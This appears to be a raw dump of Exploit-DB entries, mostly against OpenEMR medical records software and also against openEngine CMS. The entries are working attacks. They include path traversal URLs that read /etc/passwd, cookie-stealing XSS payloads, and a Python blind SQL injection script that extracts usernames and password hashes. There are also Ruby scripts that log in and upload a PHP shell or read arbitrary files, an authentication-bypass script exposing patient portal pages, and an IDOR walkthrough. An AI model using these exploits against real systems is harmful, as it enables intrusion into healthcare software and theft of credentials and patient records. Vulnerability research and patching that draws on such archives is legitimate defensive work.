deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36649
Description: OpenEMR 4.1 - '/Interface/patient_file/encounter/load_form.php?formname' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2012-02-01
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/51788/info
 
OpenEMR is prone to local file-include and command-injection vulnerabilities because it fails to properly sanitize user-supplied input.
 
A remote attacker can exploit these issues to execute arbitrary shell commands with the privileges of the user running the application, obtain potentially sensitive information, and execute arbitrary local scripts in the context of the Web server process. This could allow the attacker to compromise the application and the computer; other attacks are also possible.
 
OpenEMR 4.1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/interface/patient_file/encounter/load_form.php?formname=../../../etc/passwd%00
Exploit-DB #36648
Description: OpenEMR 4.1 - '/Interface/patient_file/encounter/trend_form.php?formname' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2012-02-01
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/51788/info

OpenEMR is prone to local file-include and command-injection vulnerabilities because it fails to properly sanitize user-supplied input.

A remote attacker can exploit these issues to execute arbitrary shell commands with the privileges of the user running the application, obtain potentially sensitive information, and execute arbitrary local scripts in the context of the Web server process. This could allow the attacker to compromise the application and the computer; other attacks are also possible.

OpenEMR 4.1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/interface/patient_file/encounter/trend_form.php?formname=../../../etc/passwd%00
Exploit-DB #38654
Description: OpenEMR 4.1 - 'note' HTML Injection
Type: webapps
Platform: php
Date: 2013-07-12
Author: Nate Drier

Exploit:
source: https://www.securityfocus.com/bid/61154/info

OpenEMR is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

OpenEMR 4.1.1 patch-12 and prior are vulnerable. 

1. Misc > Office Notes ('note' parameter is vulnerable with a POST to 
/openemr-4.1.1/interface/main/onotes/office_comments_full.php)

#Request:

POST http://www.example.com/openemr-4.1.1/interface/main/onotes/office_comments_full.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Proxy-Connection: keep-alive
Referer: http://www.example.com/openemr-4.1.1/interface/main/onotes/office_comments_full.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 43

mode=new&offset=0&active=all&note=<script>alert(document.cookie)</script>

#Response:

<snip>
<tr><td><input type=hidden value='' name='act115' id='act115'><input name='box115' id='box115' 
onClick='javascript:document.update_activity.act115.value=this.checked' type=checkbox checked></td><td><label 
for='box115' class='bold'>Wed February 06th</label> <label for='box115' class='bold'>(test)</label></td><td><label 
for='box115' class='text'><script>alert(document.cookie)</script>&nbsp;</label></td></tr>
<snip>
Exploit-DB #49742
Description: OpenEMR 4.1.0 - 'u' SQL Injection
Type: webapps
Platform: php
Date: 2021-04-05
Author: Michael Ikua

Exploit:
# Exploit Title: OpenEMR 4.1.0 - 'u' SQL Injection
# Date: 2021-04-03
# Exploit Author: Michael Ikua
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v4_1_0.zip
# Version: 4.1.0
# Original Advisory: https://www.netsparker.com/web-applications-advisories/sql-injection-vulnerability-in-openemr/

#!/usr/bin/env python3

import requests
import string
import sys

print("""
   ____                   ________  _______     __ __   ___ ____ 
  / __ \____  ___  ____  / ____/  |/  / __ \   / // /  <  // __ \\
 / / / / __ \/ _ \/ __ \/ __/ / /|_/ / /_/ /  / // /_  / // / / /
/ /_/ / /_/ /  __/ / / / /___/ /  / / _, _/  /__  __/ / // /_/ / 
\____/ .___/\___/_/ /_/_____/_/  /_/_/ |_|     /_/ (_)_(_)____/  
    /_/
    ____  ___           __   _____ ____    __    _               
   / __ )/ (_)___  ____/ /  / ___// __ \  / /   (_)              
  / /_/ / / / __ \/ __  /   \__ \/ / / / / /   / /               
 / /_/ / / / / / / /_/ /   ___/ / /_/ / / /___/ /                
/_____/_/_/_/ /_/\__,_/   /____/\___\_\/_____/_/   exploit by @ikuamike 
""")

all = string.printable
# edit url to point to your openemr instance
url = "http://192.168.56.106/openemr/interface/login/validateUser.php?u=" 

def extract_users_num():
    print("[+] Finding number of users...")
    for n in range(1,100):
        payload = '\'%2b(SELECT+if((select count(username) from users)=' + str(n) + ',sleep(3),1))%2b\''
        r = requests.get(url+payload)
        if r.elapsed.total_seconds() > 3:
            user_length = n
            break
    print("[+] Found number of users: " + str(user_length))
    return user_length

def extract_users():
    users = extract_users_num()
    print("[+] Extracting username and password hash...")
    output = []
    for n in range(1,1000):
        payload = '\'%2b(SELECT+if(length((select+group_concat(username,\':\',password)+from+users+limit+0,1))=' + str(n) + ',sleep(3),1))%2b\''
        #print(payload)
        r = requests.get(url+payload)
        #print(r.request.url)
        if r.elapsed.total_seconds() > 3:
            length = n
            break
    for i in range(1,length+1):
        for char in all:
            payload = '\'%2b(SELECT+if(ascii(substr((select+group_concat(username,\':\',password)+from+users+limit+0,1),'+ str(i)+',1))='+str(ord(char))+',sleep(3),1))%2b\''
            #print(payload)
            r = requests.get(url+payload)
            #print(r.request.url)
            if r.elapsed.total_seconds() > 3:
                output.append(char)
                if char == ",":
                    print("")
                    continue
                print(char, end='', flush=True)


try:
    extract_users()
except KeyboardInterrupt:
    print("")
    print("[+] Exiting...")
    sys.exit()
Exploit-DB #48623
Description: OpenEMR 5.0.1 - 'controller' Remote Code Execution
Type: webapps
Platform: php
Date: 2020-06-26
Author: Emre ÖVÜNÇ

Exploit:
# Exploit Title: OpenEMR 5.0.1 - 'controller' Remote Code Execution
# Date: 2020-06-22
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://www.open-emr.org/wiki/index.php/OpenEMR_Downloads
# Version: v5.0.1
# Tested on: Linux

# Link: https://github.com/EmreOvunc/OpenEMR_Vulnerabilities

# PoC

To exploit vulnerability, someone could use
'http://[HOST]/controller.php?document&upload&patient_id=00&parent_id=4&'
post request to upload malicious php codes.

POST /openemr-5.0.1/controller.php?document&upload&patient_id=00&parent_id=4&
HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0)
Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.155.140/openemr-5.0.1/controller.php?document&upload&patient_id=00&parent_id=4&
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Length: 842
Origin: http://172.16.155.140
DNT: 1
Connection: close
Cookie: OpenEMR=t1lugo5qrbhv7mc2c3q9ricsnl;
TreeMenuBranchStatus=objTreeMenu_1_node_1_9;
PHPSESSID=dfhapc4v0bskt7pcpmc2j93agq;
LS-VQGNEIWNPEBSNBWE=6rm848pgjj78hhecpb9roo8af1;
YII_CSRF_TOKEN=OWYyM0lybGFtRF9wcHRkZ1lldF9WblhoVHlVNk5HRW3WMnZhghJHNtBjyIuALM94Ww3gltGLoeKETBSfevfbCw%3D%3D
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="MAX_FILE_SIZE"

64000000
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="file[]"; filename="shell_info.php"
Content-Type: text/php

<?php
phpinfo();
?>
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="destination"


----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="patient_id"

00
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="category_id"

4
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="process"

true
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]--
Exploit-DB #50122
Description: OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) (2)
Type: webapps
Platform: php
Date: 2021-07-13
Author: Alexandre ZANNI

Exploit:
# Title: OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) (2)
# Exploit author: noraj (Alexandre ZANNI) for SEC-IT (http://secit.fr)
# Date: 2021-07-05
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
# Docker PoC: https://github.com/sec-it/exploit-CVE-2018-15139/blob/master/docker-compose.yml
# Version: < 5.0.1.4 (it means up to 5.0.1.3)
# Tested on: OpenEMR Version 5.0.0.8
# References: https://www.exploit-db.com/exploits/49998
# CVE: CVE-2018-15139
# CWE: CWE-434
# Patch: https://github.com/openemr/openemr/pull/1757/commits/c2808a0493243f618bbbb3459af23c7da3dc5485

#!/usr/bin/env ruby

require 'pathname'
require 'httpx'
require 'http/form_data'
require 'docopt'

doc = <<~DOCOPT
  OpenEMR < 5.0.1.4 - (Authenticated) File upload - Remote command execution

  Source: https://github.com/sec-it/exploit-CVE-2019-14530

  Usage:
    #{__FILE__} exploit <url> <filename> <username> <password> [--debug]
    #{__FILE__} -h | --help

  Options:
    <url>       Root URL (base path) including HTTP scheme, port and root folder
    <filename>  Filename of the shell to be uploaded
    <username>  Username of the admin
    <password>  Password of the admin
    --debug     Display arguments
    -h, --help  Show this screen

  Examples:
    #{__FILE__} exploit http://example.org/openemr shell.php admin pass
    #{__FILE__} exploit https://example.org:5000/ shell.php admin pass
DOCOPT

def login(root_url, user, pass, http)
  vuln_url = "#{root_url}/interface/main/main_screen.php?auth=login&site=default"
  params = {
    'new_login_session_management' => '1',
    'authProvider' => 'Default',
    'authUser' => user,
    'clearPass' => pass,
    'languageChoice' => '1'
  }

  http.post(vuln_url, form: params).body.to_s
end

def upload(root_url, filepath, http)
  vuln_url = "#{root_url}/interface/super/manage_site_files.php"
  pn = Pathname.new(filepath)

  params = {
    form_image: {
      content_type: 'application/x-php',
      filename: pn.basename.to_s,
      body: pn
    },
    bn_save: 'Save'
  }

  res = http.post(vuln_url, form: params)

  return '[-] File not upload' unless (200..299).include?(res.status)

  "[+] File uploaded:\n#{root_url}/sites/default/images/#{pn.basename}"
end

begin
  args = Docopt.docopt(doc)
  pp args if args['--debug']

  if args['exploit']
    http = HTTPX.plugin(:cookies).plugin(:follow_redirects).plugin(:multipart)
    login(args['<url>'], args['<username>'], args['<password>'], http)
    puts upload(args['<url>'], args['<filename>'], http)
  end
rescue Docopt::Exit => e
  puts e.message
end
Exploit-DB #50017
Description: OpenEMR 5.0.1.3 - Authentication Bypass
Type: webapps
Platform: php
Date: 2021-06-16
Author: Ron Jost

Exploit:
# Exploit Title: OpenEMR 5.0.1.3 - '/portal/account/register.php' Authentication Bypass
# Date 15.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_3.zip
# Version: All versions prior to 5.0.1.4
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-15152
# CWE: CWE-287
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2018-15152-Exploit

'''
Description:
An unauthenticated user is able to bypass the Patient Portal Login by simply navigating to
the registration page and modifying the requested url to access the desired page. Some
examples of pages in the portal directory that are accessible after browsing to the
registration page include:
- add_edit_event_user.php
- find_appt_popup_user.php
- get_allergies.php
- get_amendments.php
- get_lab_results.php
- get_medications.php
- get_patient_documents.php
- get_problems.php
- get_profile.php
- portal_payment.php
- messaging/messages.php
- messaging/secure_chat.php
- report/pat_ledger.php
- report/portal_custom_report.php
- report/portal_patient_report.php
Normally, access to these pages requires authentication as a patient. If a user were to visit
any of those pages unauthenticated, they would be redirected to the login page.
'''


'''
Import required modules:
'''
import requests
import argparse


'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='OpenEMR Authentication bypass')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--Openemrpath', type=str)
my_parser.add_argument('-R', '--PathToGet', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
openemr_path = args.Openemrpath
pathtoread = args.PathToGet


'''
Check for vulnerability:
'''
# Check, if Registration portal is enabled. If it is not, this exploit can not work
session = requests.Session()
check_vuln_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/portal/account/register.php'
check_vuln = session.get(check_vuln_url).text
print('')
print('[*] Checking vulnerability: ')
print('')

if "Enter email address to receive registration." in check_vuln:
    print('[+] Host Vulnerable. Proceeding exploit')
else:
    print('[-] Host is not Vulnerable: Registration for patients is not enabled')

'''
Exploit:
'''
header = {
    'Referer': check_vuln_url
}
exploit_url = 'http://' + target_ip + ':' + target_port + openemr_path + pathtoread
Exploit = session.get(exploit_url, headers=header)
print('')
print('[+] Results: ')
print('')
print(Exploit.text)
print('')
Exploit-DB #50087
Description: OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) (2)
Type: webapps
Platform: php
Date: 2021-07-05
Author: Alexandre ZANNI

Exploit:
# Title: OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) (2)
# Exploit author: noraj (Alexandre ZANNI) for SEC-IT (http://secit.fr)
# Exploit source: https://github.com/sec-it/exploit-CVE-2019-14530
# Date: 2021-06-24
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_7.tar.gz
# Docker PoC: https://github.com/sec-it/exploit-CVE-2019-14530/blob/master/docker-compose.yml
# Version: < 5.0.2 (it means up to 5.0.1.7)
# Tested on: OpenEMR Version 5.0.1
# References: https://www.exploit-db.com/exploits/50037
# CVE: CVE-2019-14530
# CWE: CWE-22
# Patch: https://github.com/openemr/openemr/pull/2592/files

#!/usr/bin/env ruby

require 'pathname'
require 'httpx'
require 'docopt'

doc = <<~DOCOPT
  OpenEMR < 5.0.2 - (Authenticated) Path Traversal - Local File Disclosure

  Source: https://github.com/sec-it/exploit-CVE-2019-14530

  Usage:
    #{__FILE__} exploit <url> <filename> <username> <password> [--debug]
    #{__FILE__} -h | --help

  Options:
    <url>       Root URL (base path) including HTTP scheme, port and root folder
    <filename>  Filename of the file to be read
    <username>  Username of the admin
    <password>  Password of the admin
    --debug     Display arguments
    -h, --help  Show this screen

  Examples:
    #{__FILE__} exploit http://example.org/openemr /etc/passwd admin pass
    #{__FILE__} exploit https://example.org:5000/ /etc/passwd admin pass
DOCOPT

def login(root_url, user, pass, http)
  vuln_url = "#{root_url}/interface/main/main_screen.php?auth=login&site=default"
  params = {
    'new_login_session_management' => '1',
    'authProvider' => 'Default',
    'authUser' => user,
    'clearPass' => pass,
    'languageChoice' => '1'
  }

  http.post(vuln_url, form: params).body.to_s
end

def exploit(root_url, filename, http)
  vuln_url = "#{root_url}/custom/ajax_download.php?fileName=../../../../../../../../../#{filename}"

  http.get(vuln_url).body.to_s
end

begin
  args = Docopt.docopt(doc)
  pp args if args['--debug']

  if args['exploit']
    http = HTTPX.plugin(:cookies).plugin(:follow_redirects)
    login(args['<url>'], args['<username>'], args['<password>'], http)
    puts exploit(args['<url>'], args['<filename>'], http)
  end
rescue Docopt::Exit => e
  puts e.message
end
Exploit-DB #50260
Description: OpenEMR 6.0.0 - 'noteid' Insecure Direct Object Reference (IDOR)
Type: webapps
Platform: php
Date: 2021-09-06
Author: Allen Enosh Upputori

Exploit:
# Exploit Title: OpenEMR 6.0.0 - 'noteid' Insecure Direct Object Reference (IDOR)
# Date: 31/08/2021
# Exploit Author: Allen Enosh Upputori
# Vendor Homepage: https://www.open-emr.org
# Software Link: https://www.open-emr.org/wiki/index.php/OpenEMR_Downloads
# Version:  6.0.0 
# Tested on: Linux 
# CVE : CVE-2021-40352

How to Reproduce this Vulnerability:

1. Install Openemr 6.0.0
2. Login as an Physician
3. Open Messages 
4. Click Print 
5. Change the existing "noteid=" value to another number 

This will reveal everybodys messages Incuding Admin only Messages
Exploit-DB #17998
Description: Openemr-4.1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-10-19
Author: I2sec-dae jin Oh

Exploit:
# Exploit Title: [Openemr-4.1.0 SQL injection Vulnerability]
# Date: [2011/10/18]
# Author: [I2sec-dae jin Oh]
# Software Link: [http://sourceforge.net/projects/openemr/files/OpenEMR%20Current/4.1.0/openemr-4.1.0.zip/download]
# Vendor : www.open-emr.com
# Version: [Openemr-4.1.0]
# Tested on: [Windows 7]
---------------------------------------
source of : /interface/patient_file/summary/add_edit_issue.php:

$irow = array();
if ($issue)
$irow = sqlQuery("SELECT * FROM lists WHERE id = $issue");; <--------------------- SQL injection
else if ($thistype)
$irow['type'] = $thistype
proof of concept:
http://[attack url]/interface/patient_file/summary/add_edit_issue.php?issue=0+union
+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,user(),25,26,27--
Exploit-DB #27823
Description: openEngine 1.7/1.8 - Template Unauthorized Access
Type: webapps
Platform: php
Date: 2006-05-08
Author: ck@caroli.info

Exploit:
source: https://www.securityfocus.com/bid/17871/info

openEngine is prone to an unauthorized-access vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to access privileged and potentially sensitive information. This may aid in other attacks.

http://www.example.com/cmspath/website.php?template=../system/03_admin/edit/upload&site_pool=/
http://www.example.com/cmspath/website.php?template=../system/03_admin/edit/individual&include=/etc/passwd
http://www.example.com/cmspath/website.php?template=../system/admin/accounts&action2=searchaccounts&accounts_group=2
http://www.example.com/cmspath/website.php?template=../system/admin/accounts&action2=searchaccounts&accounts_group=2&action=editaccount&accounts_lastname=&accounts_email=&accounts_group=2&account_key=<account_key>
Exploit-DB #15557
Description: openEngine 2.0 100226 - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-11-16
Author: SecPod Research

Exploit:
##############################################################################

SecPod Technologies (www.secpod.com)

Title    : openEngine Local File Inclusion and XSS Vulnerabilities
Vendor   : http://www.openengine.de
Advisory : http://secpod.org/blog/?p=152
           http://secpod.org/advisories/SECPOD_Openengine_LFI_XSS_Vuln.txt
Version  : openEngine 2.0 100226; other versions may also be affected.
Download : http://www.openengine.de/download/openengine20_100226.zip
Date     : 11/16/2010

###############################################################################

SecPod ID:      1009                            10/20/2010 Issue Discovered


Class:  Local File Inclusion and XSS             Severity: High


Overview:
---------
openEngine is prone to local file inclusion and XSS vulnerabilities.


Technical Description:
----------------------
openEngine is prone to a local file inclusion and XSS vulnerabilities. The
application fails to properly sanitize user-supplied input.

Input passed via the 'template' parameter in "cms/website.php" is not properly
verified before it is returned to the user. This can be exploited to obtain
potentially sensitive information and execute arbitrary HTML, script code
in an users browser session in the context of an affected site.

The exploit has been tested on openEngine 2.0 100226


Impact:
--------
Successful exploitation allows an attacker to obtain potentially sensitive
information and execute arbitrary arbitrary HTML, script code in the context
of an affected site.


Affected Software:
------------------
openEngine 2.0 100226; other versions may also be affected.


References:
-----------
http://www.openengine.de
http://secpod.org/blog/?p=152
http://secpod.org/advisories/SECPOD_Openengine_LFI_XSS_Vuln.txt


Proof of Concepts:
------------------
* local file inclusion,
  http://localhost/cms/website.php?template=../../../../../../../../etc/passwd%00

* XSS,
  http://localhost/cms/website.php?template=<script>alert(document.cookie)</script>

Workaround:
-----------
Not available


Solution:
----------
Not available


Risk Factor:
-------------
    CVSS Score Report: 
        ACCESS_VECTOR          = NETWORK 
        ACCESS_COMPLEXITY      = MEDIUM 
        AUTHENTICATION         = NOT_REQUIRED 
        CONFIDENTIALITY_IMPACT = PARTIAL 
        INTEGRITY_IMPACT       = PARTIAL 
        AVAILABILITY_IMPACT    = PARTIAL 
        EXPLOITABILITY         = PROOF_OF_CONCEPT 
        REMEDIATION_LEVEL      = UNAVAILABLE 
        REPORT_CONFIDENCE      = CONFIRMED 
        CVSS Base Score        = 6.8 (AV:N/AC:M/Au:NR/C:P/I:P/A:P) 
        CVSS Temporal Score    = 6.1 
        Risk factor            = High